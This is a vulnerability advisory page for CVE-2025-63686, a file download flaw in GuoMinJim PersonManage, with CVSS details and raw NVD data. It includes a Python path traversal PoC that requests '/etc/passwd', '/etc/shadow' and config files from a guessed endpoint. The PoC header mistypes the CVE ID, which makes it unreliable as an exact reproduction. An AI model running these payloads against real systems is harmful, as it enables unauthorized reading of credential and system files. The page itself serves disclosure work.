Security Vulnerability Report
中文
CVE-2025-63686 CVSS 6.5 MEDIUM

CVE-2025-63686

Published: 2025-11-07 16:15:42
Last Modified: 2026-02-04 20:58:23

Description

There is an arbitrary file download vulnerability in GuoMinJim PersonManage thru commit 5a02b1ab208feacf3a34fc123c9381162afbaa95 (2020-11-23) in the document query function under the Download Center menu in the PersonManage system.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:guominjim:personmanage:*:*:*:*:*:*:*:* - VULNERABLE
GuoMinJim PersonManage <= commit 5a02b1ab208feacf3a34fc123c9381162afbaa95 (2020-11-23)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-2025-63686 PoC - Arbitrary File Download # Target: GuoMinJim PersonManage # Vulnerability: Path traversal in document download function target = "http://target.com/PersonManage" # Path traversal payloads to download sensitive files payloads = [ "../../etc/passwd", "..\..\..\windows\win.ini", "../../webapps/config/database.yml", "../../../etc/shadow" ] # Example vulnerable endpoint (may vary based on actual application) vulnerable_endpoint = "/download/document" for payload in payloads: try: params = { "file": payload, "action": "download" } response = requests.get(f"{target}{vulnerable_endpoint}", params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully downloaded: {payload}") print(f"[+] Content preview:\n{response.text[:200]}") else: print(f"[-] Failed to download: {payload}") except requests.RequestException as e: print(f"[!] Error: {e}") # Note: Modify the endpoint and parameters based on actual application structure

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63686", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:42.247", "lastModified": "2026-02-04T20:58:23.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is an arbitrary file download vulnerability in GuoMinJim PersonManage thru commit 5a02b1ab208feacf3a34fc123c9381162afbaa95 (2020-11-23) in the document query function under the Download Center menu in the PersonManage system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:guominjim:personmanage:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0", "matchCriteriaId": "4B206FE4-86E7-4CC8-A3C4-94DF8C759F26"}]}]}], "references": [{"url": "https://gist.github.com/LockeTom/95b2a47f2dcb27e62690754993a4c7cd", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/GuoMinJim/PersonManage/issues/10", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}